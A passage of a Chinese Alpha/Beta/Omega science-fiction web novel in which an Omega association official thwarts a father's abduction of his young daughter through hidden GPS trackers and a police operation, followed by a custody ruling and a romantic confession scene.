帕瓦尔苦笑:“当然,这些案子都是我经手的。现在你明白为什么我们需要总部支援了?” “但他们现在只是要求见孩子这在法律上······”沈之年当然不觉得这几个人值得同情,但是他们的要求看起来并不过分,这对舆论很不好。 第64章 “沈专员, 你认为这些行为会突然改变吗?”帕瓦尔调出更多数据,她这次甚至没有叫沈之年“小沈先生”,而是公事公办的叫他沈专员, “我们已经暗中监控了情况。马克的前妻允许视频通话,但他每次都在孩子面前诋毁她。德里克的孩子经过半年心理治疗才恢复正常亲子关系,一旦恢复探视,他又开始灌输负面情绪。至于戈尔” 帕瓦尔展示一段最新记录:“他根本没有告诉女儿母亲去治病, 反而说母亲抛弃了他们。那孩子现在认为母亲不爱她。” “他们在监护孩子的时候无一例外都不允许母亲或者小爸爸探望。” 沈之年感到一阵反胃。他差点被那些男人表面的可怜相所欺骗。 帕尔瓦正色看着沈之年,“因为社会资源多向ALpha倾斜, 在遇到离婚案件的时候, 虽然法官嘴上说会考虑双方的客观经济实力, 但是Omega们大多在家里做家庭主妇,经济实力不济是常见的现象,所以在离婚的时候,大多数Omega的一方都要离开他们孕育十月,倾心哺育的孩子。” “在这长久的过程中,很多人会为了孩子放弃离婚, 在无望的婚姻中继续挣扎。”帕尔瓦神情越发的严肃,她的视线往沈之年身后的米拉身上偏移了一瞬间。 她一向不认同艾尔达人参与人类的争端,这世间上没有真正的将心比心,艾尔达人根本没办法真的理解Omega的痛苦, 他们现在只是凭着微弱的共情和对会长美貌的推崇, 才会像现在这样忠诚的冲锋陷阵。 但是一旦美貌和Omega的权益不再同一条路,他毫不怀疑,艾尔达人马上就会背弃Omega,这是一群不忠诚也不稳定的伙伴。 她现在就是担心出现类似的情况,眼前的小沈少爷看起来不谙世事, 如果他被外面那几个看起来可怜兮兮的人打动,决定帮助他们取得探视权,那么艾尔达人一定会鼎力支持。 她的思路只是岔开了一瞬间,又马上返回,为了避免这种棘手的情况存在,帕尔瓦的语气更加严肃,“一旦给他们得到接触孩子的机会,他们有很大的该可能会把孩子带走,我们再想找到孩子,那就难了” 他说的沈之年都明白,这样的事情在首都星很少见,首都星的监控铺天盖地,带着孩子遁入人海基本就是痴心妄想。 但是利浦星和首都星之间的联系并不深,也没有那么完备的监控系统,更何况还有三个种族,相互之间就更难监管, 沈之年:“我能理解你的意思,绝对不能让他们把孩子带走,但是一直让他们在这里坐着也有碍Omega协会的形象,你们之前采用了什么措施么?” 听沈之年的意思,不像是一个不理智的人,帕尔瓦也放下了一半的心,她的语气缓和些许,“我们在寻找解决方法,比如监督探视,但他们拒绝任何形式的监督,认为这是对他们的侮辱。”帕瓦尔想到当时的情形,不自觉地摇头,“然后他们选择了静坐,博取舆论同情。” “现在事情越闹越大,” 沈之年沉思良久。直接揭穿他们的真相对Omega协会其实并无好处,可能还会被反咬一口。但放任不管也不是办法,omega协会成长不易,文字最会欺骗人,沈之年甚至无法想象这件事会被写成什么样子,Omega协会不能经受这样的非议。 但是这件事并不是完全没办法解决,“没有和法院提起诉讼,申请终止父亲的监护权么?” 帕尔瓦沉默了一瞬,“当然,但是现在他们并没有表现出攻击性,法院不支持将没有犯罪行为的人定义为罪犯,我们不能假定他们是罪恶的。” 沈之年还没有说话,身后的米拉撇撇嘴,“人类真复杂,不然我把他打出去算了!艾尔达人都会支持我们这么做的,孩子和母亲之间的联系是天然的,一切试图抢走孩子的父亲都是卑鄙的盗窃者!” 米拉说话的时候理直气壮,还带着一点少年人的莽撞,沈之年下意识回头看了一眼,就看米拉一双大眼睛亮晶晶的看向他。 当然不能打出去······ “他们之前有没有类似家暴的行为?可以协助Omega母亲父亲向法院申请人身安全保护令,明确禁止父亲接近孩子的母亲。”这是比较理想的状态,但是也没能从根源解决问题。 帕尔瓦无奈的朝着沈之年摇头,“目前就是这样的状态,所以他们才会选择在楼下静坐示威。” “我有一个计划,”最终沈之年说,“需要你们的配合。”—— 第二天同一时间,沈之年准时出现在办事处门口。三个男人立即站起来,眼中充满期待。 “经过详细调查,”沈之年平静地说,“我们愿意全力协助你们实现探视权。” 三人脸上顿时绽放出笑容,但沈之年的下一句话让笑容凝固了。 “不过,基于过去的历史,我们需要采取分阶段的方式。第一阶段是监督探视,我们可以先安排你们和孩子在Omega协会说完办公室,在我们工作人员的监督下见面几次……” “不可能!”马克立刻反对,“我是孩子的父亲,不需要监督!” “这是标准程序,”沈之年保持冷静,“当探视权执行有过往问题时,监督是为了确保孩子的最佳利益。” 德里克激动起来:“这就是偏袒!她们剥夺我们见孩子的权利,反而我们要被惩罚?” 戈尔低沉地说:“这是反人性的,我是孩子的父亲,在卡桑族的文化中父亲与孩子相处不需要外人在场。” 沈之年早有准备:“我理解你们的感受。但请想想,为什么会有这样的要求?如果你们真的把孩子的利益放在第一位,应该愿意接受任何能让孩子感到安全的安排。” 她停顿一下,让话中的分量沉下去:“毕竟,过去确实发生过你们利用孩子伤害母亲的行为,不是吗?” 三人一时语塞。沈之年继续道:“我不是在评判对错,而是指出事实。Omega协会的职责是保护Omega和儿童的权益。如果你们能证明自己已经改变,监督阶段会很快结束。” 沈之年看着三人,态度意外的强硬,“这是我们唯一能够接受的方式。” “我想你们其实也清楚为什么你们不被孩子的母亲允许探视,对么?”沈之年轻微侧身,这是一个要离开的姿态,“如果我们谈不拢就法院见。” 这个姿态恰好能让他们看到身后吊儿郎当,满不在乎的米拉。 他们还在犹豫,但是沈之年不犹豫,转身就走。 “等一下!” 一道声音从后面传来,沈之年回头,果然,是戈尔! 德里克和马克赶紧走到戈尔身边,小声询问,“你是什么意思,我们不是说好了么?为什么答应他,你个叛徒!” 戈尔指指米拉,“那是个艾尔达人!这群好色之徒一向支持Omega协会,利浦星对原住民又多有照料,如果艾尔达人也掺和进来,或者Omega协会干脆想办法找一个艾尔达的法官来审理这个案件,最后的结果如何真的难说,”他说完重重的叹了一口气,拍拍两个兄弟的肩膀,“见好就收吧!先见到孩子比什么都重要。” 他和卡桑人共同生活了许久职业也和民族习俗相关,当然明白艾尔达人的习俗。 让米拉一起过来,并且表现出这样的姿态,是帕尔瓦建议的,她真的很了解这里的工作—— 戈尔的第一次探视安排在下周三下午。德里克和马克已经顺利结束和孩子的第一次见面。 戈尔提前十分钟到达妇联办公室,衣着整洁,神情谦和。他手里提着一个小礼盒,看上去就是个期盼见到女儿的普通父亲。 之前两次都是米拉和其他的Omega协会成员一起监视的,但是这次,沈之年特意过来看了一眼。 沈之年打量着他,注意到他不断瞥向墙上的时钟,手指无意识地在腿上敲击着节奏。多年的工作经验让沈之年对人的肢体语言格外敏感——戈尔表面平静,但身体语言透露出内心的焦躁和不耐。 “戈尔先生,欢迎您。”沈之年起身迎接,“这是米拉干事,今天将由我们陪同您和小明见面。” 戈尔勉强笑了笑:“有必要这么多人吗?我只是想和儿子单独相处一会儿。” “这是法院规定的程序,请您理解。”沈之年保持微笑,语气却不容商量。 当米拉带着六岁的弗罗伦丝进入接待室时,孩子的表情明显紧张,小手紧紧抓着米拉的衣角。 戈尔立刻换上灿烂的笑容,蹲下身打开礼盒:“我的小珍珠,看爸爸给你买了什么?你最爱的漂亮石头!” 卡桑人生活的区域盛产宝石,匣子中宝石的品相很好,拿到首都星能卖到一个让人意料不到的高价,至少能够保证一个普通家庭一年的温饱。 弗罗伦丝的眼睛亮了一下,但仍躲在米拉身后。 虽然戈尔声称经常给孩子买玩具,却明显不太清楚孩子的喜好。弗罗伦丝应该并不喜欢漂亮石头,其实看起来,倒像是戈尔比较喜欢。 接下来的半小时,戈尔表现得无懈可击:他耐心地陪弗罗伦丝玩拼图,读故事书,关心地问孩子在幼儿园的情况。 他甚至掏出一个小本子,记下弗罗伦丝喜欢的食物和想要的生日礼物。 米拉这几天一直在监督孩子父亲和孩子见面,基本上每一家都是类似的情况,痛苦的父亲在见到孩子的那一刻就好像见到救赎一般。 他凑近低声对沈之年说:“小会长,看来他真的很想做好一个父亲,也许我们多虑了。” “我有点理解在你们人类那里,父亲和母亲一样了,也许父亲也很爱孩子,所以他们需要和孩子在一起生活,对么?”—— 作者有话说:前几天开学了,因为要收拾东西,办入学,体检,开会,见老师之类的,忙的脚不沾地······ 第65章 沈之年没有回应, 只是测过脸看米拉真诚的眼睛,“有些负责的孩子父亲是这样的。” “在人类的文化中,家庭是有双亲的。” 沈之年只是简单的过来看看, 里面的情况还算是稳定,他走进房间,自然地整理了一下孩子的衣领,并且给小女孩带上了一款小发夹。 “这是叔叔给你的礼物。” 沈之年的孩子缘一向很好, 送的又是弗罗伦丝最喜欢的鲸鱼,小姑娘眼见很喜欢, 小手在头上摸了又摸, 还不小心拨乱了头发。 沈之年帮她把头发再重新整理好, 手指轻轻拂过那枚鲸鱼发卡。退回到观察位置,和身边的米拉说,“我先回去了,还有别的事情要处理,你好好看着。”—— 沈之年还没走远,戈尔抬头请求:“您好, 能给孩子买瓶饮料吗?我看门口有自动贩卖机。” 米拉正要起身,沈之年轻轻按住她:“我去吧,戈尔先生想喝什么?” “橙汁就好,谢谢。”戈尔微笑。 当他拿着饮料返回时, 接待室里的情形没有任何变化——米拉坐在靠门口的椅子上, 戈尔和弗罗伦丝正在玩积木。 但是米拉的一双大眼瞪得精神,他不想把沈之年亲手交给他的人物搞砸。 看到米拉精神奕奕的样子,沈之年轻轻拍了一下他的肩膀,“别太紧张,小心一会脖子僵掉了。” “您的橙汁。”沈之年将饮料递给戈尔, 弗罗伦丝喜欢沈之年,见他过来就不由得轻轻靠过去。 沈之年摸摸怀里孩子的头,借机和戈尔搭了两句话。 “戈尔先生也算是年轻有为,一直没有再婚么?” 利浦星的Omega不多,就算是初婚的Alpha也可能匹配不上,很多人会选择和Beta共度余生,但是这些人里面绝对不会包括戈尔。 戈尔是很有名的民族学者,年纪轻轻就在学院拿到了很好的Title,甚至可以说他是卡桑文化研究的领军人物之一。 戈尔温柔的视线落到沈之年怀中的女孩身上,“我有弗罗伦丝一个孩子就够了,她出生的那一天,我咋产房外面看到她的第一眼,我就明白,她是我最珍视的宝贝,我会把我的一切都给他。” 不知道他这话是真心的还是只是为了博得沈之年的好感,但是沈之年只是笑而不语,缓缓地退了出去。 因为这件事打岔,戈尔的探视时间也只剩下最后十五分钟,沈之年的身影也消失在走廊的尽头。 最后十五分钟,戈尔开始频繁看表,讲故事的速度加快,甚至有些心不在焉。米拉继续低头记录探视情况,弗罗伦丝安静地玩着积木—— 十五分钟之后,沈之年在他的临时办公室没能看到米拉的身影。 之前米拉完成一点公务,都要跑到他的办公室大肆宣扬,沈之年觉得小姑娘可爱,每次都是认真的听。 但是这次已经整整过去一分钟,米拉竟然还没有过来。沈之年的心理升起一股不详的预感。 他走到楼下,果然,房间里哪里还有戈尔和孩子的影子,只有不知道为什么昏睡在一边的米拉。 沈之年先给医院打了急救电话,然后才尝试着唤醒米拉,幸好,米拉几乎一叫就清醒过来。 醒来之后,他带着茫然环视一周,一瞬间就反应过来目前的情况,面色刷的一下变得惨白:“孩子孩子被抢走了都是我的错” 沈之年先将米拉搀扶起来,艾尔达人的个子好高,米拉竟然比沈之年还高半个头。 “你先别慌,你昏倒之前发生了什么?他攻击你了么?你的身体现在什么感觉?” 米拉恍惚的回应,“没有,当时时间还没到,他就说自己临时有事,把孩子还给我,一点也没有拖延,然后他要和我握手,在后面我就失去意识了······” “我的身体没问题,但是孩子,孩子怎么办?” 虽然米拉说着自己的身体没有问题,但是沈之年还是能够很轻易的感受到他现在情绪的不稳定,“米拉,看着我!不是你的错,我们早有准备。” 米拉茫然抬头:“准备?什么准备?” 沈之年从口袋中掏出手机,屏幕上显示着一个移动的地图光点:“弗罗伦丝的发卡里有GPS追踪器,现在信号很强,正在向城北移动。”—— 回到办公室,沈之年立即启动应急预案。他一边通知警方,一边持续监控信号位置。米拉仍然处于震惊中,双手颤抖得几乎拿不住杯子。 “小会长,对不起,我太疏忽了”他深吸了两口气,“我以为他表现得那么好” 沈之年递给她一杯温水:“这不是你的错。你不要想这件事,等救护车过来,他一定给你使用了什么精神类的药物。” 家暴者往往擅长操纵和表演,戈尔今天的表现太过完美,反而让沈之年更加警惕。 “这样的人,法院还给他探视权”米拉的声音充满困惑和愤怒。 米拉现在的思维很跳脱,也很活跃,沈之年也不知道米拉说出这句话究竟是脑袋里想到了什么事情。 但他一定还在不停的反刍孩子的事 “法律必须基于证据,而我们现在正在收集证据。”沈之年的目光没有离开屏幕,“戈尔很偏执,他比另外两个父亲都偏执,他会为了得到孩子,将孩子带去卡桑族领地这种根本不适合孩子生活的地方,不可能就这么轻易的接受现状。” “所以我一开始就对他很警惕。”感谢Omega学院,这个Omega最高学府有时候也会教一点看起来有用的东西,比如Alpha心理学,虽然最开始学校教授这个,是为了让Omega能够更好的照顾他的丈夫。 但是知识是无罪的,怎么用你别管······ “看,信号停在城北的一个住宅区不动了。我已经通知了警方,他们正在赶过去。” 屏幕上,代表弗罗伦丝的光点确实静止在城北某处。沈之年放大图像,定位到具体楼号后,突然皱眉:“这里不是住宅区,是快递仓库。不对劲” 他立即接通与警方联络的电话:“星警队长,信号停在城北物流园区B7仓库,但我怀疑他们可能发现了发卡。请求便衣侦查,不要打草惊蛇。” 挂断电话后,沈之年转向米拉:“戈尔如果有预谋绑架,不可能直接带孩子回常住地。他可能会检查孩子身上有没有追踪器。” “那怎么办?如果发现发卡,他肯定会扔掉!”米拉刚放松的情绪又紧张起来。 沈之年却露出一个神秘的微笑:“所以发卡只是明面上的追踪器。” 感谢Omega学院,为了讨好Alpha,他们总是要求Omega能够同时准备一份更不容易出错,更稳定的备用方案。 “还有第二个?”米拉惊讶地问。 沈之年点头,调出另一个监控界面:“我给孩子穿的衣服纽扣里,缝有更隐蔽的追踪器,电池可持续72小时足够我们把孩子找回来了。” 米拉瞪大眼睛:“小会长,你早就料到” “不是料到,是预防。”沈之年轻声说,“希望最好,但必须做最坏的准备。看,发卡信号开始移动了,但纽扣信号还在原地——他果然发现了发卡,扔掉了。” 屏幕上,代表发卡的光点正在快速向相反方向的河边移动,而另一个更微弱的光点仍停留在仓库区。 半小时不到,警方传来消息:在河边找到了鲸鱼发卡,但按照沈之年的建议,没有立即打捞,而是暗中监视周围,等待可能前来确认情况的同伙。 同时,便衣警察确认B7仓库是一个空置已久的旧仓库,最近有人活动的痕迹。周边邻居反映,前几天看到有辆灰色轿车频繁出入。 “星警队长,请求先不要突击,而是布控监视。”沈之年建议道,“戈尔不可能单独行动,一定有同伙。我们需要尽可能多地收集证据,确保一次成功,并且彻底剥夺他的探视权乃至监护权,这个人非常的危险,他不能再和孩子接触了。” 警方沉默了许久,最后还是采纳了沈之年的建议。 沈之年也是送了一口气,其实他也不敢打百分之一万的包票不会出错,但是幸好现在看来结果还不错。 在协会需要做的事情结束了,沈之年不敢耽搁,马上起身,打算亲身到现场周围,虽然过去一趟可能起不到什么重要的作用,但是在周围他安心。 米拉见状竟然也马上起身要跟着沈之年一起过去,沈之年本来是不同意的,米拉这样的情况,应该好好歇息。 但是米拉再三表示自己已经恢复了,而且他也很担心孩子。 戈尔就算偏执,应该也没有什么害人的胆气,而且看米拉真的担心,沈之年犹豫了许久还是点头同意了。 两个人一起走出协会,米拉的药劲儿还没完全过,被外面的日光一照,又有一点眩晕,下意识的伏在沈之年的肩膀。 沈之年没能第一时间推开,他看到了一个意料之外的人。 手捧一束鲜花,斜靠在豪车上耍帅的————顾景深! 第66章 夜幕降临, 仓库区内灯光稀疏。 在临时指挥点——一辆伪装成快递车的警用监控车内,沈之年和米拉紧盯着监控屏幕。 通过警方布置的热感应设备,可以看到仓库内有三个成人和一个孩子的热源。 “有三个人, ”沈之年沉思,“戈尔,孩子,还有一个陌生人, 看起来是类人,卡桑族么?” 身边的米拉及时回答沈之年的疑问, “是卡桑族, 但我总觉的这个人有一点眼熟, 好像在什么地方见过似的······” 卡拉说完就陷入了沉思里,应该是见过的······ 话音未落,又一辆车驶入仓库区,停在B7附近。车上下来一位中年女性,拎着一个大箱子匆匆进入仓库。 “医护人员?”米拉猜测。 沈之年放大图像,又仔细观察片刻, 才迟疑着摇头:“不像,她走路姿势没有医务人员的稳健感。而且为什么要带医生?孩子没有生病,不需要医疗照顾。” 突然,沈之年的手机震动, 是后方支援团队发来的信息:“小沈先生, 我们查了戈尔的家族关系,他有个姐姐曾经因非法医疗美容被处罚过。” 沈之年立刻警觉:“非法医疗美容······难道···我怀疑他们可能要改变孩子的外貌!” 米拉听到沈之年这样说,马上站起身,指着屏幕里面的卡桑人,语气里面全是震惊, “我想起来了,这人,这人之前是很有名的学者,但是前几年因为实验违背伦理,被所在的大学开除了!” 沈之年的眉头一皱,戈尔和这个人同是学者,认识不足为奇,但是这个人现在出现在这里,显然不同寻常,“他做的什么实验。” “人体实验,人种改造。”米拉说着挠挠头有,显然不是很熟悉这个领域,“应该也不是人种改造···你知道的,卡桑人和我们不太一样,他们一直生活在高温区,其他人种都不能在那边很好的生活,所以卡桑人和人类的交流没有我们艾尔达人多,因为交流不多,他们的经济,科技都相对落后。” “他就是给人类加上一些器官,让人类能够生活在卡桑族的领地,给卡桑人加一点器官,让他们进入人类社会,本来也算是不错的课题,他在之前一直都时最受瞩目的卡桑族科学家,直到前段时间爆出他一直拿人体做实验,这显然是违反实验道德的······” 沈之年:“那他······” 米拉得面色也凝重起来,他猜到了沈之年没能够宣之于口得猜测,微微点了一下头,表达对这个猜测的认同。 沈之年一口银牙咬在一起吧,深吸一口气才能说出话来,“他真是疯了!” 他立即联系指挥行动的陈队长:“队长,我怀疑他们准备给孩子做出外貌改变甚至更极端的人种改变,请求立即行动!” 通过微型摄像头传回的画面,可以清晰看到仓库内的情况:弗罗伦丝已经醒来,被绑在椅子上哭泣;戈尔正在与那个卡桑人争吵;而那位后来到达的女性正从医疗箱中取出剪刀和染发剂。 五分钟后,特警队员悄无声息地包围了仓库。 沈之年的心放下一半,他的眼睛一眨不眨的盯着监控屏幕,却突然看到里面的卡桑人停止吵架。 接下来,里面的几个人都突然就警醒起来。 沈之年还没来的及联系星警队长,戈尔已经悄悄的摸到孩子身边。 隔着监控的屏幕,他身侧的刀光隐现。 沈之年不敢拖延,紧急联系星警。 所有星警不得不在原地待命。 米拉的视线落在监控屏幕中的刀光上,“为什么,你们人类真奇怪,他不是因为爱女儿才来争夺女儿的么?” 沈之年捏捏鼻梁,这个插曲打乱了他的计划,虽然现在人已经围起来,他们做的再多,也不过是困兽之斗,事情能够解决,只是要麻烦一点。 但是中间有一个孩子,大人之间的一切龌龊,沈之年都不希望影响到孩子,所以这个“麻烦一点”还是让沈之年有一点头疼。 “人类的感情总是复杂,不是所有人都是出于爱,来做这一切的事情,有的时候也是恨,有的时候甚至不是恨,可能只是不甘心,不罢休······” “可能只是单纯的不想他的开心吧······” 沈之年的声音有一点低落。 米拉定定的看着沈之年的脸,一眨也不眨。 “怎么了?”沈之年去注意到米拉的眼神,轻声问他,对漂亮的小姑娘,他总是很多宽容。 “你们人类好复杂,好有趣,你也会么?你离开配偶的时候也会一直这么惦记对方么?”其实米拉一开始不是想说惦记的,但是看到沈之年的侧脸,玉一样的,一下就觉得,如果能够是和这样的美人纠缠,不管是爱还是恨,不甘心不顺意不罢休,都是值得期待的。 他最后也只能说是惦记。 沈之年捏住他的下巴 ,强迫他的视线转向屏幕里的戈尔,你再说一遍。 米拉下意识干呕了一下······ 沈之年看他理智回笼,就不再多说,转而开始认真的开始思考怎么解决这个小麻烦。 光脑突然没有预兆的响了一下。 打断了沈之年的思绪,沈之年担心是什么重要的消息,点开发现是顾景深。 【偶然出差到这边,要不要一起吃个饭?】 【今天你身边的是艾尔达人么,听说他们并不喜欢人类,我也是第一次见到。】 沈之年盯着光脑的屏幕看了一会,最后打下几个字发出去。 【过来,】—— 戈尔看着眼前的小女孩,这是他的孩子,无论如何都不能流落在外,Omega协会的那些人完全就是在瞎搞,把孩子给Omega带,人类社会怎么会出现这样的事情? 他这样的地位,难道还养不好一个孩子么? 他不允许自己的血脉流落在外,也绝对不允许那些贱(bushi)人Omega这么嚣张,甚至爬到他们Alpha的头上。 不过他没想到,那些Omega这么麻烦,把他逼到现在的处境里······ 卡桑人常年生活在炎热地带昏暗的洞穴里,听觉和嗅觉都远比人类灵敏,所以一开始警察围过来的时候,那个卡桑人就发现并且告知了戈尔。 门外响起来几下轻巧的敲门声。 戈尔下意识的看向卡桑族的同伴,那个人向着空气中轻轻嗅了嗅。 “是个陌生人,但是应该是Alpha······” 今天计划中的人已经都在这里了,本来不应该有人再过来。 “戈尔先生,在么?小沈先生让我来看看弗罗伦丝。” 听到小沈先生,戈尔就想起那张看起来和善的脸,第一次见面只觉得美丽,现在才感受到可恶,蛇蝎Omega,毒O! 他不敢开门。 身上的肌肉暗暗紧绷,他的视线悄悄的瞟了一眼女儿,如果今天真的带不走她······ 弗罗伦丝刚刚吸入的麻药已经开始起效 ,意识开始模糊,但是听到了小沈先生还是睁大了眼睛,“是沈叔叔么,爸爸,我要见沈叔叔!” 这时候,顾景深适时发声,“只有我一个人,戈尔先生,你是孩子的Alpha父亲,本应该得到孩子合理的探视权,我也是个Alpha,我能理解您的痛苦,现在情况已经很差了,小沈先生也愿意再退一步,我们好好聊一聊好么,卡桑族的领地也不是法外之地,你还有光明的前途,我们就停留在这里,就当一切都没有发生好么?” 警察来的这么快,也是他没有想到的,他原本想先把孩子带走,然后再继续寻求司法支持,现在如果被发现他要做违法的人体实验,别说是孩子······ 戈尔转头看向那个卡桑人,他悄悄的点了一下头,“确实只有一个Alpha。” 弗罗伦丝还撑着眼睛紧张的盯着戈尔。 顾景深:“戈尔先生,你放心,这次我只是代替小沈先生来聊一聊,没有别的意思。” 戈尔将门打开一个小缝。 一个西装革履看起来好像是匆忙赶来的Alpha,没有带武器,脸上还挂着和善的笑容。 顾景深拿出一个玩偶,举到戈尔的面前,摆弄两下,“让我进去吧,孩子现在应该也开始不安了,一会哭起来也很麻烦。” 然后,顾景深刻意凑到戈尔耳边小声说,“我能理解您,这是你们家的孩子,凭什么跟着一个Omega,我和您说句心里话,小沈先生不过是来利浦星镀金的政客,他需要安稳的结束这次行程,孩子最后到底怎么样根本不是他关心的,如果你有什么要求可以提出来。” 顾景深的言语中并非全无漏洞,但是现在戈尔的脑袋太乱了,被警察团团围住,一不小心他前半生努力的一切都付之东流······ 戈尔下意识侧开一个小缝,顾景深见缝插针挤进了仓库,边走嘴巴里还在喋喋不休, "其实他在首都星的情况也并没有那么好,你知道的,首都星有没有那些天杀的享受特权的艾尔达人失心疯一样来帮忙······" 等到戈尔再回过神,顾景深已经坐到弗罗伦丝身边哄孩子,他没办法,只能再次把仓库门严严实实,祈祷这次和谈能够顺利结束。 “所以小沈先生很需要这次政绩,”顾景深说着话突然回身,恰好遮住戈尔往孩子那边走的路,他往戈尔那边微微探头,“不仅可以提孩子的抚养权,金钱,地位,甚至更过分的,取消孩子母亲的探视权,为了能够安稳回到首都星,他应该都会答应你的,相信我。” 戈尔没办法,只能先坐在一边。 顾景深说完就自然的坐到孩子身边,把手上的玩偶塞进孩子怀里, “这是小沈叔叔给你带的玩偶,喜欢么?” 弗罗伦丝抱着沈之年带过来的玩偶终于抵抗不住睡意,沉沉睡去。 戈尔站在顾景深的对面,我们可以聊一聊了么,“这位······” “我姓顾。” “顾先生······” 顾景深摸摸孩子柔软的发丝,才正色看向戈尔,“实话说,我也是第一次做这样的工作,其实······”顾景深说着话,手状似无意的摸了摸自己的后颈······ 第67章 “行动!”陈队长一声令下, 特警队员破门而入,仓库里只有顾景深还安然无恙的坐在一边,弗罗伦丝沉沉睡去。 戈尔和他的Alpha姐姐已经躺在地上人事不省, 那个卡桑人被捆起来,堆在仓库的角落里。 “呼叫救护车,犯人已经陷入昏迷,”顾景深无奈的解释, “他们和只是短时间接触打到了高浓度的高等级Alpha信息素,等自然清醒就可以了。” 沈之年和米拉在监控车前焦急等待, 虽然对自己的计划有信心吗, 但是当看到警察抱着安然无恙的弗罗伦丝走出仓库时, 沈之年才长长舒了一口气,紧绷的肩膀终于放松下来。 顾景深也走到沈之年的身前,他也是第一次被当成睡眠瓦斯来使用。 “谢谢你。”沈之年语气温和的和顾景深道了谢,全然不像之前那样的冷漠。 不知道为什么,顾景深突然觉得之前心中积攒的郁气突然就一散而空。 需要沈之年处理的事情还有很多,他没办法和顾景深过多的觉交流, 简单的解释几句,就跟星警一起离开了—— 后续调查证实了沈之年的判断。 戈尔与姐姐以及那个卡桑人计划对弗罗伦丝进行试验之后带到卡桑人的领地进行藏匿,彻底切断她与母亲的联系。 这些证据被完整记录并提交法院。一周后,法院开庭审理此案, 最终判决完全剥夺戈尔的探视权和监护权。 庭审结束后, 孩子的母亲带着弗罗伦丝来到Omega协会。小姑娘看起来并没有被影响。 虽然之前一直都笼统的成为母亲,但其实,弗罗伦丝的母亲是一位男性Omega,清瘦修长,不饰浮华, 甚至一眼望过去会被认成是写字楼里面进进出出的一名清秀Beta,其实称为小爸会更加的合适。 “谢谢小沈叔叔。”弗罗伦丝腼腆地笑着,将一幅画递给沈之年。画上是太空船和星星,还有一个戴着鲸鱼发卡的小女孩。 孩子的母亲眼眶湿润:“真的不知道如何感谢你们。如果不是你们的谨慎和准备,我可能就失去弗罗伦丝了” 沈之年不敢接受这份谢意,“是我应该谢谢你才对,你愿意陪我们一起冒险。” 那个Omega带着一点病态的脸上浮起了一丝苦笑,其中好像还有化不开的无奈,“我和戈尔做过夫妻,最明白他是什么样的人,那个看起来正常,其实偏执得快要疯了,没有你这个冒险的计划,可能我这辈子都要提心吊胆的等着他的报复······” 沈之年不知道如何安慰这个不幸的Omega,最后也只能轻轻的微笑一下。 沈之年蹲下身,与弗罗伦丝明平视:“谢谢你送的画,弗罗伦丝。你很勇敢。”—— 望着这对母女渐行渐远的背影,米拉走到沈之年的身边,“你怎么知道要准备两个追踪器。” 问完之后 又觉得自己问了一个过分愚蠢的问题。 沈之年微笑:“其实每个孩子的衣服里都藏了追踪器,不过幸好,其他人还算是老实。” 不知道什么时候,人都走光了,只剩下沈之年和米拉。夕阳西下,金黄色的光芒洒在沈之年的肩膀。 他转过头就看到不知道为什么,米拉竟然一眨不眨的盯着他的侧脸。 “怎么了?” 米拉轻声说,“小沈会长,我现在觉得我好像爱上你了。” Omega小姐妹之间就是这样,会爱来爱去的,之前米拉也说过类似的事情,沈之年心里也没当一回事。 但是过了一会,他都在做自己的事情了,米拉还是小狗一样跟在他的身后,一眨不眨的盯着他。 沈之年这才从对方的眼睛里面看出了几丝认真。 “米拉,你在Omega协会工作多久了?” “我才来不久。” 完全不让沈之年意外的回答,“你刚来不久,可能不太了解Omega这个性别,虽然我看起来是男性,第一性别也确实是男性,但是第二性别是Omega,”沈之年的眉头深深皱起,各种解释的话在大脑里转了一个大圈,最后不得不选择一个最通俗易懂的麻瓜解释······ “你就把我当成你们种族的女性就好······”沈之年叹息一声,“在人类世界,Omega更多的负责家庭劳动和孕育抚养孩子。” 其实主要说的就是孕育孩子吧······希望米拉能够懂他的意思。 米拉那双漂亮的眼睛眨了几下,“就是说,你虽然是个男人,但是【bi——】没有用,不能抄我,对吧。” 沈之年被他突然的直白震住了,大脑一片空白,呆愣的点点头。 对面那位漂亮道德小姑娘,勾起一个娇俏的笑容,“没关系啊,我有。” 米拉说着,上前走进两步,比人类稍高的体温滚到沈之年的脸上,把他的脸烧的微热。 沈之年的大脑已经完全乱了他上下看看米拉,Omega学院的所有课程都围绕Alpha展开,所以有时候,沈之年也不得不承认,自己可能确实缺少一些必要的常识,但是艾尔达人难道都是双性么?没听说过啊。 “小会长,这几天你好像一直把我当小姑娘看。”米拉勾起一个带着点恶意的笑,然后一点一点拉起自己的裙子,“但是人家是男孩子哦!” 沈之年的手远比的大脑要快得多,还没反应过来这句话的意思,就已经阻止对方的走光行为······ “那···那你······”沈之年还拉着裙子的一角,他一时语塞说不话,不得不小小的牵引一下裙角。 “男性也可以穿裙子啊!人类不穿么?小会长你穿裙子应该很好看!”说到这米拉微不可查扭捏了一下,“而且我···看你挺喜欢的······” 说完就抬起眼睛,小鹿一样,水盈盈的望着沈之年,“你喜欢么?” “喜······不是···不喜······也不是······”沈之年突然觉得消息还是来的太多太乱了,以至于自己在被眼前的年轻人牵着鼻子走,“不对······” “你在协会这么久,明白Omega,腺体,信息素的意思么?”、 米拉轻轻的向沈之年那边蹭了一下,沈之年甚至能感受到对方淡金色的长发好像飘到他的脸颊上,痒痒的。 “我都明白,但是,我们不是一直鼓励Omega不要受信息素的邪僻,自由的去过幸福,向往的人生么?”、 “信息素真的那么重要么?” 沈之年被问的哑口无言,在父亲身边学到听到的一切和在Omega学院学习到的知识现在甚至在他的脑子里面大家。 罕见的,沈之年脸上露出一点呆楞的神情,实在可怜可爱。 “我能叫你哥哥么? ” 米拉的话题转变的快,又是在沈之年脑子有点混乱的时候,他几乎差点就答应下来。 他干脆不再纠结于之前的话题,“很抱歉,米拉,我······” “先别急着回答,哥哥,你要先了解一下我再做决定,对么?至少不要这么去轻率的拒绝我,这是我第一次表白。”沈之年的表情有片刻的松动,米拉马上拉起沈之年的手放在胸口,“哥哥,求您疼疼我。” 手心还能感受到属于年轻人蓬勃跳动的心脏,扑通扑通······ “好,我再仔细考虑一下······” 送走热情洋溢的年轻人,沈之年发热的头脑逐渐冷却,他才能够冷静的回忆每一个决定······ 他好像一直不太擅长处理感情的问题······现在又多了一笔孽债。 沈之年想着这件事,最后也只能无奈的摇头,就先走一步看一步的,实在没办法他还能先跑回首都星去。 小孩子的感情能够坚持几天呢,他总有一天会把这个首都星来的人类哥哥忘掉,然后遇到一个同种族的恋人。 沈之年怀揣这样的希望,抬起头,在不远处看到了那个熟悉的身影······ 顾景深。 不知道在那里站着看了多久。 虽然两个人已经离婚,但是今天也不知道为什么,沈之年看到顾景深略带谴责的目光时甚至还有一点心虚。 